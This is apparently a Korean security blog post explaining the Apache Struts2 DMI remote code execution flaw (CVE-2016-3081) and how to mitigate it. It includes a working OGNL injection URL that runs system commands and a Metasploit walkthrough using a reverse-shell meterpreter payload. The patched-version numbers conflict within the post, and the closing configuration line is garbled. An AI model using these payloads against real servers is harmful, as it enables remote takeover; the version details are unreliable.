[WEB HACKING] Apache Struts2 DMI REC(Remote Command Executeion) Vulnerability(CVE-2016-3081)

지난 CVE-2016-0785 취약점에 이어 CVE-2016-3081 Struts2 취약점에 대해 정리할까합니다. 일단 Struts2 취약점은 예전부터 아주 치명적인 취약점으로 알려졌었고, 최근에 또 줄줄이 나타나고 있습니다. 올 초부터 발생한 Sturts2 취약점들은 약간 비슷한 형태의 구성을 가지고 있습니다.

그 중 최근 이슈가 되었던 CVE-2016-3081 취약점에 대해 정리합니다.

Apache Struts2 DMI RCE Vulnerability

해당 취약점은 Struts2.3.20 ~ 2.3.28 중 2.3.20.3, 2.3.24.3 을 제외한 나머지 버전에 대해 공격이 가능한 취약점입니다. 해당 취약점을 통해 원격 명령 실행 및 Shell 을 획득할 수 있게 때문에 굉장히 영향력이 큰 공격입니다.

항상 이 공격을 수행할 수 있는것은 아닙니다. Sturts의 DMI가 활성화 되어 있어야합니다. 물론 2.3.15.2 이하 버전은 Default Option으로 활성화 되어 있기 때문에 구버전의 Struts를 사용하는 서버에게는 굉장한 위협이 됩니다.

Struts2 DMI REC(CVE-2016-3081) 원리 및 공격방법

문제가 된 Struts2 DMI는 !를 이용하여 다른 메소드를 호출할 수 있는 기능입니다. Dynamic Method Invocation의 약자이며 WebWork의 내장 기능이며 execute() 메소드 대신에 !를 사용하여 다른 메소드를 호출할 수 있습니다.

이 DMI는 보안적인 결함을 가지고 있어 Struts2에서 기본적으로 False 되도록 설정이 바뀌어 패치됩니다. 이 Method를 통해 넘긴 값이 DMI를 거쳐서 처리되게 되는데 여기서 Java 구문으로 흐름을 틀어 원하는 명령 수행이 가능하도록 할 수 있습니다.


htest.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String

위 공격코드를 보시면 method 파라미터를 통해 공격코드 값을 넘기게 됩니다. 여기서 memberAccess 이후 cmd 파라미터를 받은 값을 시스템 명령으로 넘기게 됩니다.

Metasploit 을 이용한 공격방법

역시 Rapid7은 빠르게 모듈을 만들었습니다. Struts2 취약점에 대해 바로 Module 을 만들었고, 현재 MSF를 통해 쉽게 사용하실 수 있습니다.


#> search struts

Matching Modules
================

   Name                                                     Disclosure Date  Rank       Description
   ----                                                     ---------------  ----       -----------
   exploit/linux/http/struts_dmi_exec                       2016-04-27       excellent  Apache Struts Dynamic Method Invocation Remote Code Execution
   exploit/multi/http/struts_code_exec                      2010-07-13       good       Apache Struts Remote Command Execution
   exploit/multi/http/struts_code_exec_classloader          2014-03-06       manual     Apache Struts ClassLoader Manipulation Remote Code Execution

위와 같이 search로 찾아보면 4/27일자로 dmi_exec가 업데이트된 것을 알 수 있습니다.

해당 모듈을 불러오고 options을 보면 아래와 같습니다.


#> use exploit/linux/http/struts_dmi_exec
hahwul exploit(struts_dmi_exec) #> show options

Module options (exploit/linux/http/struts_dmi_exec):

   Name       Current Setting              Required  Description
   ----       ---------------              --------  -----------
   Proxies                                 no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                                   yes       The target address
   RPORT      8080                         yes       The target port
   SSL        false                        no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /blank-struts2/login.action  yes       The path to a struts application action
   TMPPATH                                 no        Overwrite the temp path for the file upload. Needed if the home directory is not writable.
   VHOST                                   no        HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse_tcp_uuid):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  0                no        Debugging options for POSIX meterpreter
   LHOST                          yes       The listen address
   LPORT         4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Linux Universal

다른 Exploit 과 유사하며 특별한 점이 없습니다. 간단하게 host와 port, uri 등을 넣고 exploit 해주시면 해당 URI에 대해 테스팅을 진행하고 지정한 Payload를 불러와 Shell 권한을 얻습니다.

대응방법

이런 프레임워크/어플리케이션에 대한 대응방법은 간단합니다. 바로 업데이트죠. 최신버전/미취약 버전으로 업데이트를 진행합니다.

The vendor has issued a fix (2.3.20.2, 2.3.24.2, 2.3.28.1).

허나 업데이트할 수 없는 상황이라면 아까 원리 부분에서 말씀드렸듯이 DMI를 해제해줍니다.

Struts2 설정 파일 내 struts.enable.DynamicMethodInvocation를 false로 변경하여 줍니다.


<constant name="struts.enable.DynamicMethodInvocation" value="false" />;    =“struts.enable.dynamicmethodinvocation”>

Reference

http://blog.alyac.co.kr/611 http://www.securitytracker.com/id/1035665